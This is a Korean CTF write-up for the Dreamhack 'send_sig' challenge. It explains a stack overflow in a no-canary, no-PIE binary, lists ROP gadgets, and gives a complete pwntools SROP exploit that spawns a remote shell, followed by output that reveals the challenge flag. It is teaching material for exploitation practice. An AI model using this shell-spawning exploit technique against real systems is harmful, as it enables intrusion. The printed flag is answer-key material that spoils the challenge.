Description
서버로 signal을 보낼 수 있는 프로그램입니다!
프로그램의 취약점을 찾고, 익스플로잇해 flag를 읽어보세요.
flag는 home/send_sig/flag.txt에 있습니다.
checksec
seo@seo:~/Documents/dreamhack/send_sig$ checksec ./send_sig [*] '/home/seo/Documents/dreamhack/send_sig/send_sig' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Decompiled-src
start / sub_4010B6
void __noreturn start() { setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL); write(1, "+ You can send a signal to dreamhack server. +\n", 0x39uLL); write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL); sub_4010B6(); exit(0); } ssize_t sub_4010B6() { char buf[8]; // [rsp+8h] [rbp-8h] BYREF write(1, "Signal:", 7uLL); return read(0, buf, 0x400uLL); }
sub_4010B6 함수에서 “Signal: “을 출력하고
할당된 8바이트 크기의 buf에 0x400만큼 입력받을 수 있으므로 버퍼 오버플로우를 발생시킬 수 있다.
Solution
seo@seo:~/Documents/dreamhack/send_sig$ ROPgadget --binary ./send_sig Gadgets information ============================================================ 0x00000000004010f2 : add al, ch ; push -0x6f000001 ; leave ; ret 0x000000000040109e : add byte ptr [rax - 0x77], cl ; clc ; nop ; pop rbp ; ret 0x0000000000401016 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401000 0x000000000040109d : add byte ptr [rax], al ; mov qword ptr [rbp - 8], rax ; nop ; pop rbp ; ret 0x0000000000401018 : add dl, dh ; jmp 0x401000 0x00000000004010f7 : call qword ptr [rax + 0xff3c3c9] 0x000000000040101e : call qword ptr [rax - 0x5e1f00d] 0x00000000004010a2 : clc ; nop ; pop rbp ; ret 0x00000000004010a9 : cli ; push rbp ; mov rbp, rsp ; pop rax ; ret 0x00000000004010a6 : endbr64 ; push rbp ; mov rbp, rsp ; pop rax ; ret 0x00000000004010ad : in eax, 0x58 ; ret 0x000000000040101a : jmp 0x401000 0x00000000004010f9 : leave ; ret 0x00000000004010a0 : mov dword ptr [rbp - 8], eax ; nop ; pop rbp ; ret 0x00000000004010ac : mov ebp, esp ; pop rax ; ret 0x000000000040109f : mov qword ptr [rbp - 8], rax ; nop ; pop rbp ; ret 0x00000000004010ab : mov rbp, rsp ; pop rax ; ret 0x00000000004010f8 : nop ; leave ; ret 0x00000000004010a3 : nop ; pop rbp ; ret 0x00000000004010ae : pop rax ; ret 0x00000000004010a4 : pop rbp ; ret 0x00000000004010f4 : push -0x6f000001 ; leave ; ret 0x00000000004010aa : push rbp ; mov rbp, rsp ; pop rax ; ret 0x00000000004010a5 : ret 0x000000000040103b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d] 0x000000000040109c : sldt word ptr [rax] ; mov qword ptr [rbp - 8], rax ; nop ; pop rbp ; ret 0x00000000004010b0 : syscall Unique gadgets found: 27
첫번째 매개변수를 지정할 수 있는 pop rdi 가젯이 없기 때문에,
Signal-Oriented Return Programming, SROP을 통해 쉘을 획득할 수 있다.
0x00000000004010ae : pop rax ; ret
0x00000000004010b0 : syscall
위 2개의 가젯들을 이용해서
rax 레지스터값을 SYS_rt_sigreturn 시스템 콜 번호인 15로 맞춰주고,
syscall을 호출하는 ROP을 작성해주면 된다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #p = process("./send_sig") p = remote("host3.dreamhack.games", 13050) e = ELF('./send_sig', checksec=False) pop_rax_ret = 0x4010ae syscall_ret = 0x4010b0 SYS_rt_sigreturn = 15 frame = SigreturnFrame() frame.rip = syscall_ret frame.rax = 0x3b #SYS_execve frame.rdi = 0x402000 #/bin/sh frame.rsi = 0 frame.rdx = 0 payload = b'A'*0x8 payload += b'B'*0x8 payload += p64(pop_rax_ret) payload += p64(15) #SYS_rt_sigreturn payload += p64(syscall_ret) payload += bytes(frame) p.sendlineafter("Signal:", payload) p.interactive()
Result
seo@seo:~/Documents/dreamhack/send_sig$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 13050: Done [*] Switching to interactive mode $ ls flag.txt send_sig $ cat flag.txt DH{5a5e56589d32087ec7a37f3b70a84483eae7404e9072173ec7571b632b804760} $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 13050